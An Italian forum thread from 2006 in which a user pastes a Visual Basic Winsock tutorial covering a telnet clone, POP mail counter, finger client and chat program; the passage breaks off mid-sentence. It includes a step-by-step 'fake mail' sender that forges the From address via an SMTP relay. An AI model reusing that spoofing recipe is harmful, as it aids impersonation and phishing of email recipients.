17/04/06 14:03
xander
L'ho letta veramente molto utile
Ultima modifica effettuata da xander 17/04/06 14:04
aaa
22/09/06 7:44
wirewrap
Mi potreste indicare con precisione dove si trova la guida al Winsock.
Grazie
PS: Buongiorno a tutti e complimenti per il sito
Grazie
PS: Buongiorno a tutti e complimenti per il sito
aaa
22/09/06 12:39
questa è una guida che mi avevano consigliato qualche (abbastanza) tempo fa è molto semplice e chiara con esempi di programmi e pezzi di codici.
La programmazione del winsock. ------------------------------ By Master SPP MemBer ------------------------------ Cosa sarete in grado di fare (molto semplicemente) leggendo questo articolo: Sarete in grado di fare (nel giro di 10 minuti) un programma per: Spedire una mail (o una fake) Un telnet casalingo Un netcat con tre righe di programma Un programma per leggere la posta sul pop server Un programma per dare una preview delle mail sul pop Leggere un newsgroup Fare un finger o un whois Fare un programma per le chat personali via rete tipo ICQ Mandare una nuke, o proteggersi da una nuke. Creare un robot per cancellare determinati messaggi su un ng Creare un filtro sul vostro server per prevenire un mail bombing Fare una backdoor o in alternativa fare un programma per proteggersi dalle backdoor tipo il bopsy. ecc... Vi sembra troppo? Chissa' quale abilita' programmatoria serve? ;-) Sbagliato!.. e' semplicissimo! ..e ognuno dei programmi sopra elencati non supera le 20 righe di programma se si evitano fronzoli grafici inutili e si va invece sul sostanziale. Non serve usare API, non serve una particolare esperienza come programmatore, non serve probabilmente qualcosa in piu' di quello che gia avete come supporto software. Serve invece una minima conoscenza sull'uso di telnet... solo per sapere come impostare le procedure. premessa: Di solito anche chi ha raggiunto un buon livello di preparazione relativamente ai linguaggi 32b e visual si blocca irrimediabilmente quando si tratta di usare delle procedure per leggere o spedire dati attraverso la rete. Cio' e' dovuto principalmente al fatto che gli strumenti per farlo sono spesso presentati in maniera contorta o (peggio) tanto contornati da istruzioni ridondanti e inutili da far apparire la cosa impraticabile se non dopo uno studio approfondito di mesi su manuali introvabili e documentazione altamente specializzata. Ebbene tutto cio' non e' assolutamente vero. E' vero che programmare con le ras api (le procedure a basso livello tipiche del sistema windows specifiche per le connessioni) non e' semplice, e' vero che una approfondita conoscenza dei protocolli di rete sarebbe la via tecnicamente migliore, e' vero che gli ocx dedicati alle connessioni sono spesso corredati da -esempi- molto belli e efficaci da provare ma che poi alla fine risultano piu' complessi da capire che non studiarsi gli help allegati.. ma e' anche vero che esiste un ocx col quale e' possibile fare veramente di tutto senza doversi preoccupare di trovare particolari info o far conto su particolari abilita' programmatorie. Questo ocx e' il winsock. rwinsock.ocx, mswinsck.ocx, winsck.ocx .. sono praticamente tutti quanti la stessa cosa e offrono tutti lo stesso prodotto dalla prima all'ultima versione. (per i nostri scopi anche un vecchio winsock.ocx versione 1 trito e ritrito va piu' che bene!!!) Lo si trova di base in versione aggiornata con gli intranet activex, con explorer, caricando un qualunque linguaggio visual tipo il vb, il C++ o il delphi. [ Per comodita' prendero' ad esempio il winsck.ocx degli intranet e il linguaggio visual basic che piu' o meno tutti conoscono ed usano. ] Come tutti i controlli ocx anche questo e' un'insieme di procedure che automatizzano l'uso di diverse api tramite una semplice chiamata di programma. Prima di usarlo e' necessario aprire un form per il proprio programma e selezionare il controllo sotto progetto/componenti nel VB. Si chiama Netmanage Winsock control il winsck.ocx specifico degli intranet activex 6 control. Il Microsoft Winsock Control mswinsck.ocx al limite va bene lo stesso (meglio il netmanage!) Sulla barra dei controlli appariranno due calzini bianchi, uno con scritto TCP per leggere en inviare dati su questo protocollo e uno con scritto UDP .. ovviamente per leggere ed inviare dati su quell'altro. UDP e' un protocollo che ha delle caratteristiche diverse da TCP e soprattutto dei diversi sistemi tramite i quali comunicare dati attraverso la rete. Il TCP ad esempio permette la connessione fisica tra due indirizzi IP, un po' come se chiamaste un amico al telefono, anche se nessuno parla la connessione c'e' comunque. Su UDP invece non funziona cosi'.. i dati vengono spediti da un IP e vengono ricevuti solo se dall'altra parte c'e' qualcosa in grado di leggerli su una determinata porta; nel caso non ci sia invio di dati non e' presente alcuna connessione effettiva. Qal'e' tutta questa differenza?.. mah..ad esempio che collegandosi via TCP ad un IP2 quest'ultimo e' in grado di monitorare (con netstat ad esempio) il fatto che qualcuno sia in diretto collegamento (IP1) e pronto ad inviare qualcosa, questo e' dovuto principalmente al fatto che IP2 ha dovuto inizialmente porsi in ascolto tramite un winsock.LISTEN (ascolta) per poter ricevere dati ed aprire per questo una specifica porta. Nel caso di UDP sarebbe stato sufficiente per IP2 attendere tramite un evento specifico (invio dati da IP(n) su UDP porta x) i dati inviati da IP1 e riceverli dentro una variabile stringa esattamente nel momento in cui arrivavano; in questo caso netstat non avrebbe potuto monitorare in precedenza all'invio dei dati una connessione che ancora non era avvenuta di fatto con IP1. Ad ogni buon conto (e passiamo alla parte pratica.. quella teorica sopra tanto non vi serve proprio a nulla!) per i nostri scopi base useremo soltanto il TCP. Prima di cominciare bisogna che vi spieghi il fatto principale.. la cosa che vi rendera' la programmazione del winsock facilissima. E' una cosa molto semplice ma che stranamente non si trova scritta da nessuna parte: Il winsock altro non e' (in pratica) che un TELNET .. che potete usare direttamente dentro i vostri programmi.. dando gli stessi comandi che date su telnet ed avendo in risposta le stesse stringhe di testo che ricevete solitamente. vi dimostero' questo facendovi vedere come e' possibile col winsock costruirsi un telnet personale in 10 secondi netti (col visual basic) scrivendo solo 5 linee di programma ed avendo per contro un tool dalle STESSE identiche caratteristiche del telnet della microsoft. (forse meglio.. visto che ve lo siete fatti da soli! ;-) ) Devo anche sottolineare una cosa importante, e' fondamentale conoscere le procedure basilari per fare su telente cio' che si vuol fare sul proprio programma. Ovvero sapere che per spedire una mail con telnet bisogna connettersi ad un server mail (possibilmente dotato di relay! ;-) ) alla porta 25, quindi inviare un comando HELO, poi MAIL FROM:, RCPT TO .. ecc... Bisogna sapere che per leggere la posta bisogna collegarsi al proprio POP, dare i comandi USER e PASS (seguiti dal proprio user e pass), LIST per vedere la lista dei messaggi presenti RETR n per leggerne uno, DELE n per cancellarlo ecc.. Insomma.. do per scontato che queste cose le conoscete gia bene, comprese le procedure per leggere e spedire messaggi su un news group di un determinato news server. La -buona- conoscenza di queste sistematiche rendera' il vostro lavoro di programmazione immediato e addirittura banale. Cominciamo con la pratica: (finalmente!) ;-)) Farsi un telnet in casa: Come funziona telnet? .. semplice: 1. ci si collega ad un server per sfruttare un determinato servizio 2. si setta la porta giusta (25 sendmail, 110 pop, 119 news, 79 finger ecc...) 3. si inviano i comandi specifici 4. si leggono sulla finestra di dialogo le risposte del server 5. finito si chiude la connessione e si va a mangiare qualcosa di dolce. hi hi hi Come si fa questo col winsock ? ... allo stesso modo! 1. ci si connette al server settando la porta giusta winsock.connect "nome del server",porta 2. si inviano i comandi specifici winsock.senddata Stringa_con_i_dati & VbCrLf (VbCrLf e' l'aggiunta dei caratteri ascii 13+10 ..equivale a premere ENTER) 3. si leggono le risposte del server winsock.getdata Stringa_dove_vanno_le_risposte, VbString (VbString dice che al vinsock che la variabile Stringa_dove_vanno_le_risposte contiene dati alfanumerici) questa istruzione andra' inserita in una procedura con l'evento DataArrival ovvero: Private Sub winsock_DataArrival(ByVal bytesTotal As Long) winsock.GetData Dalserver, vbString End Sub Praticamente e' una procedura che voi scrivete e che si attiva tutte le volte che dal server vengono inviati dei dati. E' utili sia per visualizzare le risposte che per controllare (facendo una verifica sulle stringe ricevute) possibili errori o settare parametri a noi utili. 4. si chiude la connessione quando si e' finito. winsock.close Il programma e' questo in pratica: Aprite un form con due caselle di testo. Alla prima (text1) ci scrivete accanto una label -Host remoto- alla seconda (text2) ci scrivete -porta- (avete portato sul form il controllo Netmanage winsock si!? ;-)) Aprite due pulsanti, sul primo (command1) ci scrivete CONNETTI, sul secondo DISCONNETTI. Aprite un altra casella di testo (text3) un po' lunga in fondo al form con a fianco un bottone (command3) con scritto sopra INVIA. (I comandi andranno scritti dentro questa casella e inviati tramite invia) Aprite l'ultima casella di testo (text4) abbastanza grande perche' su questa verranno scritti i messaggi in arrivo dal server. una cosa cosi': +--------------------------------------------------------------------------------------+ | _______________________ _______ ________ ___________ | | Host Remoto |Text1__________________| Porta |Text2__| |CONNETTI| |DISCONNETTI| | | __________________________________________________________________________________ | | |Text4 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |__________________________________________________________________________________| | | _______________________________________________________________________ _______ | | |Text3__________________________________________________________________| | INVIA | | |______________________________________________________________________________________| Il programma e' tutto qui: -------------------------------------------------------- Private Sub Command1_Click() TCP1.Connect Text1, Text2 End Sub Private Sub Command2_Click() TCP1.Close End Sub Private Sub Command3_Click() Text4 = Text4 & Text3 & vbCrLf TCP1.SendData Text3 & vbCrLf End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) TCP1.GetData Dalserver, vbString Text4 = Text4 & Dalserver End Sub -------------------------------------------------------- Strabiliante eh? ;-) .. Se si escludono le linee di dichiarazione delle procedure.. il programma e' in tutto 5 misere righe. (Deriva dal fatto che il winsock appunto e' il vostro telnet nascosto personale) :)) Spiegazione: TCP1 (e' il nome che il winsock attribuisce al controllo di default quando tirate il medesimo sul form.. lo potete richiamare winsock o tenere TCP1.. non fa differenza) La prima procedura viene richiamata premendo il tasto CONNETTI. Si connette al server il cui nome e' scritto nella casella di testo text1 alla porta scritta nella casella di testo text2. La seconda procedura vi disconnette dal server quando premete DISCONNETTI. La terza procedura invia al server tutto quello che trova scritto nella casella di testo text3 aggiungendo i caratteri CHAR(13)+ChAR(10) = NewLINE .. come se aveste premuto ENTER di seguito su telnet. Text4 = Text4 & Text3 & vbCrLf serve a visualizzare sulla finestra text4 di seguito alle risposte del server anche le linee che avete inviato. La quarta procedura sta li.. buona buona.. se ne sta in silenzio senza fare nulla fino a quando il server non vi invia qualche dato, un errore o una risposta in generale. Allora la procedura con l'evento DataArrival si attiva, importa tutti i dati in arrivo dal server dentro la variabile Dalserver (che viene dichiarata appunto come Stringa = VbString) e visualizza i dati sulla casella di testo Text4. Text4=Text4 & Dalserver .. fa in modo di aggiungere i dati di seguito a quelli gia ricevuti tanto da avere una lista completa esattamente come sul telnet originale. Compilate il programma e provate ad usarlo, vedrete che e' esattamente un telnet. Si potevano aggiungere altre cose.. una gestione degli errori e una migliore interfaccia utente.. ma lo scopo di questo articolo e' quello di mostrare solo l'essenziale; al 'catenaccio' ci penserete da soli. ;-) Uno attento gia' si immagina di poter fare con questo piccolo esempio tutto quello che vuole compresi tutti i programmi citati nella lista sopra. Ed e' vero! Manca solo qualche finezza concettuale che e' importante implementare. L'esempio sopra infatti non considera un problema abbastanza rilevante che si potrebbe presentare durante l'invio o la lettura di una mail .. ma ancor piu' durante l'invio o la lettura di un news group: --> i tempi di risposta del server! Facciamo un primo esempio brutale di invio mail. Vogliamo inviare una fake mail all'indirizzo mio@amico.it facendo finta di essere il signor pippo@de.pippi, avendo come subject "PROVA" e come testo "TE LO MANDO IO". Sara' necessario trovarsi un bel smpt server col relay.. per provare va bene il proprio. come si farebbe con telnet? 1. ci si collega all'smtp server (mettiamo sia mail.server.it) porta 25 2. si da il RSET 3. HELO seguito da un nome qualsiasi (o un IP falso magari 'esistente') 4 MAIL FROM: pippo@de.pippi 5 RCPT TO: mio@amico.it 6 DATA 7 Subject: PROVA 9 TE LO MANDO IO 10 . (un punto e INVIO per confermare la spedizione) col winsock e' la stessa cosa. L'unico problema e che dando le istruzioni di seguito sul visual basic (come su un altro programma del resto!) : TCP1.SendData "RSET" & VbCrLf TCP1.SendData "HELO ciao" & VbCrLf TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf ... non si da tempo al server di confermare i comandi, percui ci si troverebbe ad esempio a spedire il MAIL FROM: prima della conferma del comando HELO e quindi si avrebbe errore. E' necessario allora aspettare n secondi per effettuare l'invio di un comando per aspettare la conferma del precedente. Non si sa in anticipo quanto impieghera' il server a 'confermare'.. dipende da troppe variabili: traffico sulla rete, velocita' momentanea della connessione, ecc... (poi spieghero' come inviare un comando esattamente un istante dopo la conferma di quello precedente! ;-)) Per adesso limitiamoci a creare una procedura che dia un certo ritardo nella esecuzione dei comandi per dare 'respiro' al server. la chiameremo DELAY ( in C gia c'e' SLEEP .. in visual basic bisogna farsela) Privare Sub Delay(n) S = Timer Do While Timer < S + n DoEvents Loop End Sub con Delay(3) l'esecuzione del programma si blocca per 3 secondi. DoEvents server per far si che cmq tutti gli altri comandi siano disponibili durante il tempo d'attesa. Senza DoEvents il programma si bloccherebbe per tutto il tempo impostato. Diciamo che 6 secondi di attesa per la conferma di ogni comando sono un tempo piu' che sufficiente nella maggior parte delle situazioni. il programma allora dovra' essere strutturato cosi' ----------------------------------------------------- Private Sub spedisci() TCP1.Connect "mail.server.it",25 Delay(6) TCP1.SendData "RSET" & VbCrLf Delay(6) TCP1.SendData "HELO ciao" & VbCrLf Delay(6) TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf Delay(6) TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf Delay(6) TCP1.SendData "DATA" & VbCrLf Delay(6) TCP1.SendData "Subject: PROVA" & VbCrLf Delay(6) TCP1.SendData "TE LO MANDO IO" & VbCrLf Delay(6) TCP1.SendData "." & VbCrLf Delay(6) TCP1.close End Sub Privare Sub Delay(n) S = Timer Do While Timer < S + n DoEvents Loop End Sub ------------------------------------------------------ praticamente si impiegano 9 linee di ritardo di 6 secondi per un totale di quasi un minuto di tempo per spedire una mail.. ma l'importante e' che funzioni. ;-) Vediamo adesso come fare per inviare i comandi nel tempo piu' breve possibile sfruttando le risposte del server. Si manda un comando.. quando il server risponde qualcosa vuol dire che l'ha accettato e si puo' inviare il successivo. Serve sempre la monitorizzazione offerta dall'evento DataArrival (L'unica cosa utile assieme ai comendi xxx.connect, xxx.senddata e xxx.getdata Il programma base e' lo stesso.. si aggiunge la definizione della variabile "ricevi" in testa al sorgente DIM ricevi as string (in modo che ricevi non sia un valore valido per tutte le procedure.) si aggiunge in fondo al sorgente la procedura Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) TCP1.GetData Dalserver, vbString ricevi = Dalserver End Sub che mette nella variabile pubblica ricevi le risposte del server e si cambia la procedura delay con questa Private Sub delay() Do While ricevi = "" DoEvents Loop End Sub cioe' .. delay = aspetta fino a quando non ricevi una risposta! ;-) quindi il programma completo sara' cosi': ---------------------------------------------------- Dim ricevi as String Private Sub spedisci() TCP1.Connect "mail.server.it",25 Delay TCP1.SendData "RSET" & VbCrLf Delay TCP1.SendData "HELO ciao" & VbCrLf Delay TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf Delay TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf Delay TCP1.SendData "DATA" & VbCrLf Delay TCP1.SendData "Subject: PROVA" & VbCrLf Delay TCP1.SendData "TE LO MANDO IO" & VbCrLf Delay TCP1.SendData "." & VbCrLf Delay TCP1.close End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) TCP1.GetData Dalserver, vbString ricevi = Dalserver End Sub Private Sub delay() Do While ricevi = "" DoEvents Loop End Sub ---------------------------------------------------- Con questa piccola finezza (che dovra' essere uguale anche per tutti gli altri programmi che si progetteranno) si velocizzano le procedure rispetto alle linee di ritardo di almeno 10 volte. Un altro esempio.. usando subito il nuovo delay costruito appositamente. Facciamo un programma che legga dal nostro pop server quante mail abbiamo in parcheggio. (Modificarlo per cancellare mail contenenti in una qualunque parte determinate parole o per fare una preview di tutti i messaggi sara' molto semplice) Come si farebbe con telnet per verificare quante mail abbiamo sul serer pop? 1. Ci si connette al nostro pop (mettiamo sia mail.pop.it) porta 110 2. si invia il comando USER <nostro_user> 3 PASS <nostra_password_postale> a questo punto il server risponde con una riga di benvenuto indicante all'interno una frase tipo ... has xx message(s) ... xx e' il numero di messaggi presenti. La stringa di risposta del server sara' una stringa che avremo prelevato tramite il solito evento DataArrival (mettiamo si sia chiamata -ricevi-) Il numero di messaggi quindi sara' la parte di stringa ricevi che va da inizio = instr(1,ricevi,"has")+4 (inizio della parola "has" nella stringa + 4) a fine = instr(1,ricevi,"message")-1 (inizio della parola "message" - 1) dati dal server pop ...... has nnn message ....... | | inizio/ \fine lunghezza di nnn=fine-inizio si potra' dire allora che trovata la stringa -ricevi- di ritorno dal server il numero di messaggi presenti (utile poi per leggerli tutti con un ciclo for tanto per fare un esempio) si potra' trovare con inizio = InStr(1, ricevi, "has") + 4 fine = InStr(1, ricevi, "message") - 1 nm = Mid$(ricevi, inizio, fine - inizio) nm= numero di mail presenti sul server. Vediamo il programma in pratica. programma "scheletrico": Qaunte mail ci sono sul pop server mail.pop.it per lo USER pippo , PASSWORD topolino ? --------------------------------------------------------- Dim ricevi As String Private Sub Trovamail() TCP1.Connect "mail.pop.it", 110 ricevi = "": delay TCP1.SendData "USER pippo" & vbCrLf ricevi = "": delay TCP1.SendData "PASS topolino" & vbCrLf ricevi = "": delay inizio = InStr(1, ricevi, "has") + 4 fine = InStr(1, ricevi, "message") - 1 nm = Mid$(ricevi, inizio, fine - inizio) ' Dentro nm ci sta il Numero di mail trovate End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) TCP1.GetData Dalserver, vbString ricevi = Dalserver End Sub Private Sub delay() Do While ricevi = "" DoEvents Loop End Sub --------------------------------------------------------- Vogliamo provare lo stesso programma leggermente piu' raffinato .. sulla base del quale poter poi costruire magari un gestore di POP con filtri e tutto il resto? ;-) Proviamo col solito FORM tipo quello del telnet. Aggiungiamo solo una Label per lo Status del programma (label1) e due text box per inserire la password e lo user. +--------------------------------------------------------------------------------------+ | _______________________ _______ ________ ___________ | | Host Remoto |Text1__________________| Porta |Text2__| |CONNETTI| |DISCONNETTI| | | ____________ _______________________________________________________ | | User |Text5_______| |Label | | | ____________ | | | | Password |Text6_______| |_______________________________________________________| | | __________________________________________________________________________________ | | |Text4 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |__________________________________________________________________________________| | | _______________________________________________________________________ _______ | | |Text3__________________________________________________________________| | CERCA | | |______________________________________________________________________________________| In questo caso CONNETTI = Command1 CERCA = Command2 DISCONNETTI = Command3 Label = Label3 Il programma permette di inserire il pop server desiderato, uno user e una pass a piacere e trova il numero di messaggi presenti che viene stampato su Label. Cerca potrebbe (lascio a voi fare il seguito) 1. scorrere tutti i messaggi con RETR da 1 a nm (trovato prima) (il messaggio volta volta finisce dentro "ricevi" con questo programma) e cancellare (con DELE) quelli non desiderati. Killando IP -segnalati-, Subject multipli, o mail da nick di persone indesiderate. 2. scorrere tutti i messaggi con RETR e visualizzare su text4 tutti i subject e un paio di righe del body.. tanto per vedere se c'e' qualcosa di interessante per la quale aprire Outlook o Agent. ;-) 3..varie ed eventuali. Il programma e' questo: ------------------------------------------------------------------ Dim ricevi As String Private Sub Command1_Click() TCP1.Connect Text1, Text2 ricevi = "": delay Label3 = "Connessione aperta, invio USER" TCP1.SendData "USER " & Text5 & vbCrLf ricevi = "": delay Label3 = "Invio PASSWORD" TCP1.SendData "PASS " & Text6 & vbCrLf ricevi = "": delay inizio = InStr(1, ricevi, "has") + 4 fine = InStr(1, ricevi, "message") - 1 nm = Mid$(ricevi, inizio, fine - inizio) Label3 = "Numero di mail trovate = " & nm End Sub Private Sub Command2_Click() Label3 = "Invio dei dati" Text4 = Text4 & Text3 & vbCrLf TCP1.SendData Text3 & vbCrLf End Sub Private Sub Command3_Click() TCP1.Close Label3 = "Connessione chiusa" End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Label3 = Str$(bytesTotal) & " Bytes di dati in arrivo dal server " & Text1 TCP1.GetData Dalserver, vbString Text4 = Text4 & Dalserver ricevi = Dalserver End Sub Private Sub Text3_Click() Text3 = "" End Sub Private Sub delay() Do While ricevi = "" DoEvents Loop End Sub ------------------------------------------------------------------ Semplice no!? .. un esempio di miglioria all'interfaccia utente e' la procedura Private Sub Text3_Click() Text3 = "" End Sub dice solo che quando vi posizionate col mouse su text3 (riga di editing dei comandi) e ci cliccate sopra il testo precedentemente inserito scompare... altrimenti avreste dovuto cancellarlo con seleziona e delete.. una palla! ;-) Altro esempio .. volete fare un finger su un server con tre righe di programma? (TRE sul serio .. non tanto per dire!) Come non si puo!?.. si puo, si puo! ;-) Provate un po' cosi': +------------------------------------------------+ | _______________________ ______ | | Host Remoto |Text1__________________| |FINGER| | | ___________________________________________ | | |Text2 | | | | | | | | | | | | | | | | | | | | | | | | | | | |___________________________________________| | |________________________________________________| FINGER = Command1 il programma e' questo: ----------------------------------------------------------- Private Sub Command1_Click() TCP1.Connect Text1, 79 End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) TCP1.GetData Dalserver, vbString Text2 = Text2 & Dalserver End Sub ----------------------------------------------------------- .. non serve neanche il disconnetti perche' sia che il finger ci sia, sia che non ci sia, il server vi sconnette automaticamente appena finito il lavoro. Ultimi esempio .. leggermente piu' complessi .. ma poco. ;-) Farsi una linea Chat privata per dialogare via rete con un amico. Qui bisogna introdurre un altra funzione del winsock (una sola). La funzione .listen. Con LISTEN ci si mette in ascolto su una determinata porta dichiarata tramite .localport. winsock .. anzi TCP1.localport 31337 TCP1.listen sono le due funzioni che permettono al nostro programma di starsene in attesa ad aspettare dati sulla porta 31337. (ricorda qualcosa? .. mah.. ;-).. cmq per adesso anche se ricorda qualcosa non e' possibile fare nulla, stiamo parlando di protocollo TCP e la cosa rammentata da quella porta tanto strana va invece su protocollo UDP) La chat replica in pratica quella che si potrebbe ottenere sfruttando netcat e leggendo un mio precedente manuale che riporta quanto segue: NETCAT ... ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ CHAT ANONIMA PERSONALE CON UN ALTRO UTENTE ogni persona deve aprire due form DOS (due shell o come preferite) la PERSONA 1 deve digitare: nc -l -p <porta1> -v (ascolta e vede sulla porta 1) nc <indirizzo IP di persona 2> <porta2> (manda i caratteri sulla porta 2) la PERSONA 2 invece: nc -l -p <porta2> -v (ascolta e vede sulla porta 2) nc <indirizzo IP di persona 1> <porta1> (manda i caratteri sulla porta 1) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Praticamente ogni persona si trova aperti sul proprio desktop due form con due netcat diversi .. uno serve per ricevere i dati, l'altro per inviarli. Col winsock e' uguale ma ancora piu' semplice. Basta creare un programma che funga sia da trasmettitore (il client) che da ricevitore (il server). Una persona quindi dovra' aprire UN solo programma di questi e dichiarare di essere il server .. l'altro fara' lo stesso dichiarando (dopo il primo) di essere il client. Il client si colleghera' col server come in una connessione telefonica e si potra' iniziare a spedire i rispettivi dati. Visto che parliamo di chat si presuppone che i dati siano del 'testo' ovviamente. Facciamo un form cosi': +---------------------------------------------------------+ | _____________ _______ ______________________ | | Host |HOST_________|: |porta__| |Label1________________|| | ___________________________________________ __________ | ||LEGGI ||_CONNETTI_|| || ||_ASCOLTA__|| || | | || | __________ | ||___________________________________________||_TERMINA__|| | ___________________________________________ __________ | ||Comandi____________________________________||__INVIA___|| |_________________________________________________________| dove: Host = casella di testo con nome "host" Comandi = casella di testo con nome "comandi" Label1 = label con nome "Label1" porta = casella di testo con nome "porta" CONNETTI = pulsante con caption "connetti" e nome "connetti" ASCOLTA = pulsante con caption "ascolta" e nome "ascolta" INVIA = pulsante con caption "invia" e nome "invia" fa eccezione TERMINA = pulsante con caption "termina" e nome "disconnetti" ma e' per rendere il listato piu' chiaro. ;-) Il programma e' questo: --------------------------------------------------------------------------- Private Sub CONNETTI_Click() Label1.Caption = "" If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Connect Host, Val(porta) End Sub Private Sub DISCONNETTI_Click() Label1.Caption = "Verifica del collegamento : INATTIVO" TCP1.Close End Sub Private Sub ASCOLTA_Click() Label1.Caption = " Sono in ascolto! " TCP1.LocalPort = Val(porta) TCP1.Listen End Sub Private Sub INVIA_Click() a$ = comandi LEGGI = "I>" & a$ & vbCrLf & LEGGI TCP1.SendData a$ End Sub Private Sub TCP1_Close() Label1.Caption = "Verifica del collegamento : INATTIVO" TCP1.Close End Sub Private Sub TCP1_Connect() Label1.Caption = "Collegamento effettuato e ATTIVO" Host = TCP1.RemoteHost End Sub Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Accept requestID Label1.Caption = "Collegamento effettuato e ATTIVO" Host = TCP1.RemoteHostIP End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) Dim Data As String On Error Resume Next TCP1.GetData Data LEGGI = "R>" & Data & vbCrLf & LEGGI End Sub Private Sub comandi_Click() comandi = "" End Sub --------------------------------------------------------------------------- piu' piccolo di cosi' non si puo' fare! una trentina di righe mi sembrano comunque veramente poca cosa per il risultato ottenuto. Per fare le prove basta aprirne due sul proprio computer, mettere 127.0.0.1 come host e la stessa porta in ambedue i form, vi connetterete quindi con voi stessi in locale senza dover spendere nulla per la 'sperimentazione'. E' necessario ovviamente mettersi PRIMA in ascolto su un programma chiamando ASCOLTA e poi connettersi con l'altro programma chiamando CONNETTI. La stessa procedura dovra' essere usata in rete. L'amico che ricevera' copia del programma bastera' che si metta in ascolto selezionando semplicemente una porta a piacere. Voi dovrete invece connettervi selezionando la stessa porta ma mettendo anche il suo IP nella casella HOST. Analizziamo il programma procedura per procedura: Private Sub ASCOLTA_Click() Label1.Caption = " Sono in ascolto! " TCP1.LocalPort = Val(porta) TCP1.Listen End Sub come detto in precedenza apre una porta sul computer in locale tcp1.localport <porta> e si mette in ascolto: tcp1.listen. ho aggiunto label per fornire agli utenti delle semplici informazioni sullo stato della connessione. Quando uno si connette dice se il collegamento e' avvenuto o meno, dopo il listen dice: "sono in ascolto" .. e via cosi'. Non serve a niente ma fa il tutto piu' interessante. ;-)) Private Sub CONNETTI_Click() Label1.Caption = "" If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Connect Host, Val(porta) End Sub Anche questa e' una cosa gia nota. Si setta la localport a zero TCP1.Localport, 0 poi ci si connette. TCP1.connect (ip prelevato dalla casella di testo host), (porta prelevata dalla casella porta) L'unica cosa eccentrica e' la linea con la condizione logica: Serve perche' nel caso il server si sconnetta il client possa sconnettersi automaticamente a sua volta. TCP1.state da infatti un valore numerico che rappresenta lo stato della connessione. AGGIUNTA: Se l'altro non e' in ascolto quando ci si connette si ha un errore.. si potrebbe quindi aggiugere una procedura per la dichiarazione degli errori durante l'invio dei dati o il collegamento. Il winsock ha un evento apposito per questo: _Error Vi faccio un esempio anche se in pratica per gli scopi di questo articolo il tutto e' decisamente inutile: ------------------------------------------- Private Sub TCP1_Error(Number As Integer, Description As String, Scode As Long, Source As String, HelpFile As String, HelpContext As Long, CancelDisplay As Boolean) Label1.Caption = "ERRORE -> " & Description TCP1.Close End Sub ------------------------------------------- giusto per dare qualche ritocco. ;-) Private Sub DISCONNETTI_Click() Label1.Caption = "Verifica del collegamento : INATTIVO" TCP1.Close End Sub Questa non necessiterebbe di spiegazioni. Chiude la connessione alla pressione del pulsante TERMINA (disconnetti) con TCP1.close Private Sub INVIA_Click() a$ = comandi LEGGI = "I>" & a$ & vbCrLf & LEGGI TCP1.SendData a$ End Sub Invia i dati della riga -comandi- tramite la connessione. Ho aggiunto i caratteri "I>" perche' sul form di dialogo sono rappresentati sia dati inviati sia dati in ricezione e in una lunga lista senza un qualcosa che identifichi i primi rispetto ai secondi andando a ricontrollare tutta la chat si farebbe confusione. Nel data arriva (dati in arrivo) .. ho aggiunto ovviamente "R>". LEGGI = "I>" & a$ & vbCrLf & LEGGI quindi vuol dire che aggiunge i nuovi dati inviati sul form LEGGI collocando quelli piu' nuovi in testa alla lista. Private Sub TCP1_Close() Label1.Caption = "Verifica del collegamento : INATTIVO" TCP1.Close End Sub Evento close del winsock .. serve piu' che altro in modalita' server. Quando il collegamento viene terminato dal client viene chiuso anche l'ascolto da parte del server. Questa procedura puo' anche essere tolta volendo.. non e' di grande utilita' soprattutto in considerazione del fatto che anche il server ha il suo pulsante termina. Private Sub TCP1_Connect() Label1.Caption = "Collegamento effettuato e ATTIVO" Host = TCP1.RemoteHost End Sub Anche questa e' una procedura ridondante .. ma interessante da conoscere. Diciamo che e' utile anche questa esclusivamente al server. Il client infatti deve mettere un IP nella casella host. Questo IP dovra' essere quello del server. Al server basta stare in ascolto su una determinata porta dichiarata su "porta". Beh .. effettuato il collegamento il winsock ricava dai pacchetti inviati l'IP del client e lo visualizza automaticamente al server nella propria casella HOST. E' una procedura importantissima.. Durante un collegamento si potra' quindi dire in ogni istante: ip_di_provenienza = TCP1.RemoteHost porta_dalla_quale_si_collegano = TCP1.RemotePort e' quello che fa NETSTAT in pratica... verifica se qualcuno e' collegato a voi e vi da il suo IP e la porta di provenienza dalla quale fluiscono i dati. [E infatti Rifare NETSTAT in VB col winsock non e' complicato.. ;-) ] Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Accept requestID Label1.Caption = "Collegamento effettuato e ATTIVO" Host = TCP1.RemoteHostIP End Sub Questa e' la dichiarazione del server di 'accettazione' del collegamento col client. Il server riceve un identificatore (requestID) .. e lo deve accettare o meno sulla base dei dati delclient che gli vengono forniti IP e porta di provenienza. Dal momento che a noi di questi problemi non ci interessa nulla accetteremo tutto di buon grando con TCP1.accept requestID! ;-) Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) Dim Data As String On Error Resume Next TCP1.GetData Data LEGGI = "R>" & Data & vbCrLf & LEGGI End Sub Il solito DataArrival con la linea LEGGI = "R>" & Data & vbCrLf & LEGGI la quale, come spiegato in 